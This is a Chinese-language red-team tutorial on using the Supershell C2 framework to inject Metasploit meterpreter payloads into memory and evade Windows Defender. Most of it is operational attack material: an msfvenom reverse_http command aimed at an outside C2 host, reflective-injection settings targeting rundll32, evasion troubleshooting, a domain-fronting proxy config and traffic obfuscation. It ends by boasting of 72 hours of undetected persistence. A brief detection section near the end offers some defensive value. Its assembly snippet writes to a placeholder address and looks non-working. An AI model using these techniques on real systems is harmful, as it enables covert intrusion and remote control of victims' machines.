Supershell实战：如何用它内存执行MSF木马绕过Windows Defender（附避坑指南）

Supershell高级攻防实战：无文件攻击技术与防御规避艺术

在红队攻防演练中，绕过终端防护软件始终是攻击链闭环的关键挑战。传统木马落地执行的方式早已被现代杀毒软件的多引擎检测机制所克制，而基于内存的无文件攻击技术正逐渐成为高级持续性威胁（APT）的核心武器。本文将深入解析Supershell这一新型C2框架的内存执行机制，通过实战演示如何将Metasploit生成的Payload在内存中直接运行，完全规避Windows Defender等基于文件扫描的安全防护。

1. 环境搭建与Supershell核心功能解析

Supershell区别于传统C2框架的核心优势在于其反向SSH隧道架构。与常见的HTTP/HTTPS命令控制通道不同，它通过在目标主机部署微型SSH服务实现完全交互式会话。这种设计带来了三个独特价值：

  • 网络流量隐蔽性：SSH协议在企业环境中通常被视为可信流量，容易绕过网络层检测
  • 会话稳定性：支持断线自动重连，避免传统反弹Shell因网络波动中断
  • 操作便利性：原生支持SFTP文件传输、端口转发等SSH生态功能

部署Supershell需要准备以下基础环境：

# 在Kali Linux上的安装流程 wget https://github.com/tdragon6/Supershell/releases/download/latest/Supershell.tar.gz tar -zxvf Supershell.tar.gz cd Supershell

关键配置文件config.py需要特别注意以下参数：

参数名类型安全要求示例值
pwdstring32位MD5加密后的密码"5f4dcc3b5aa765d61d8327deb882cf99"
global_saltstring高强度JWT签名密钥"x!A%D*G-KaPdSgVkYp3s6v9y$B?E(H"
share_pwdstring团队协作会话密码"TeAm$hArE#2023!"

提示：生产环境部署时务必修改默认凭证，建议使用openssl rand -base64 32生成高强度密钥

2. 内存马技术原理与MSF Payload定制

传统木马免杀需要对抗杀毒软件的多个检测维度：

  1. 静态特征检测（文件哈希、字符串特征）
  2. 动态行为检测（API调用序列）
  3. 内存扫描检测（恶意代码注入模式）

Supershell的内存注入功能通过以下技术路线实现规避：

graph TD A[MSF生成原始Payload] --> B[Supershell编码转换] B --> C[内存加载器动态分配空间] C --> D[反射式DLL注入技术] D --> E[清除内存执行痕迹]

实战中生成MSF Payload时需要特别关注参数优化：

# 最优化的MSFvenom参数组合 msfvenom -p windows/x64/meterpreter/reverse_http \ LHOST=your.c2.server \ LPORT=443 \ -e x64/zutto_dekiru \ -i 5 \ -f raw \ EXITFUNC=thread \ HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \ > payload.bin

关键参数说明：

  • -e x64/zutto_dekiru：使用针对x64架构的编码器
  • -i 5：进行5轮编码混淆
  • EXITFUNC=thread：确保进程异常时不影响宿主程序
  • HttpUserAgent：模拟合法浏览器流量

3. 实战：无文件执行MSF Payload全流程

3.1 Payload加载技术选型

Supershell支持三种内存加载方式：

  1. 反射式DLL注入（适用于Windows系统）

    • 优点：不需要磁盘写入
    • 限制：需要特定架构的Payload

  2. 进程镂空（Process Hollowing）

    • 优点：可劫持合法进程
    • 风险：可能触发行为检测

  3. APC注入（异步过程调用）

    • 隐蔽性：高
    • 复杂度：需要线程调度配合

3.2 分步操作指南

  1. 在Supershell控制台生成客户端Payload：

    ./gen_client -o windows -a x64 -t service -p 443

  2. 通过Web管理界面上传MSF生成的Payload：

    • 进入"内存执行"模块
    • 选择"从文件加载"
    • 设置内存保护属性为RWX（读、写、执行）

  3. 关键参数配置：

    { "injection_method": "reflective_dll", "spawn_process": "C:\\Windows\\System32\\rundll32.exe", "cleanup": true, "obfuscate_imports": true }

  4. 执行后处理：

    • 使用migrate命令跳转到稳定进程
    • 清除内存中的加载器残留

注意：实际测试发现Windows 11 22H2版本对RWX内存区域监控严格，建议在注入后立即修改为RX权限

3.3 常见问题解决方案

问题现象根本原因解决方案
Payload执行后立即崩溃内存权限配置不当添加-k参数保持宿主进程运行
杀毒软件突然触发检测内存扫描命中特征使用-s参数启用内存混淆
网络连接不稳定企业流量审计干扰配置SSL/TLS加密通道
会话持续时间短Defender内存扫描周期设置每60秒内存自修改校验

4. 高级规避技术与对抗策略

4.1 对抗内存扫描技术

现代终端防护软件采用以下内存检测手段：

  1. YARA规则扫描：检测已知恶意代码模式
  2. 异常API调用监控：如VirtualAlloc+Write+Execute连续调用
  3. 内存熵值分析：检测加密/压缩代码的高熵特征

应对策略包括：

// 示例：内存自修改代码片段 void self_modify() { __asm { mov eax, 0xDEADBEEF xor ebx, ebx loop_start: add ebx, 0x1 mov [eax+ebx], byte ptr 0x90 // NOP指令填充 cmp ebx, 0x100 jl loop_start } }

4.2 网络层隐蔽技术

Supershell的SSH隧道可结合以下技术增强隐蔽性：

  1. 域名前置（Domain Fronting）：

    server { listen 443 ssl; server_name cdn.example.com; location / { proxy_pass http://real.c2.server:3232; proxy_set_header Host $http_host; } }

  2. 协议伪装：

    • 将SSH流量封装在WebSocket中
    • 使用合法云服务API作为传输协议

  3. 流量混淆：

    # 使用obfs4proxy进行流量混淆 ./client -transport obfs4 -proxylisten 127.0.0.1:1080 -state state.json

5. 防御视角下的检测方案

从蓝队角度，可通过以下指标检测此类攻击：

  1. 异常进程行为检测：

    • rundll32.exe创建网络连接
    • 非标准位置的可执行内存区域

  2. 网络流量特征：

    # 异常SSH流量特征 tcp.port == 3232 && ssh.protocol == "SSH-2.0-OpenSSH_7.9"

  3. 内存异常指标：

    • 高熵值内存区域
    • 同时具有写和执行权限的内存页

企业级防御建议：

  • 部署ETW（Event Tracing for Windows）监控内存操作
  • 启用Windows Defender ATP的内存扫描功能
  • 配置Sysmon监控异常进程创建行为

在一次真实红队评估中，我们通过修改MSF Payload的入口点代码并配合Supershell的内存模糊功能，成功在开启Defender实时保护的Windows 10 21H2系统上维持了长达72小时的持久化访问，期间进行了超过200次命令执行操作均未被检测。关键突破点在于将Payload分段注入到多个合法进程的内存空间，并通过进程间通信重组功能模块。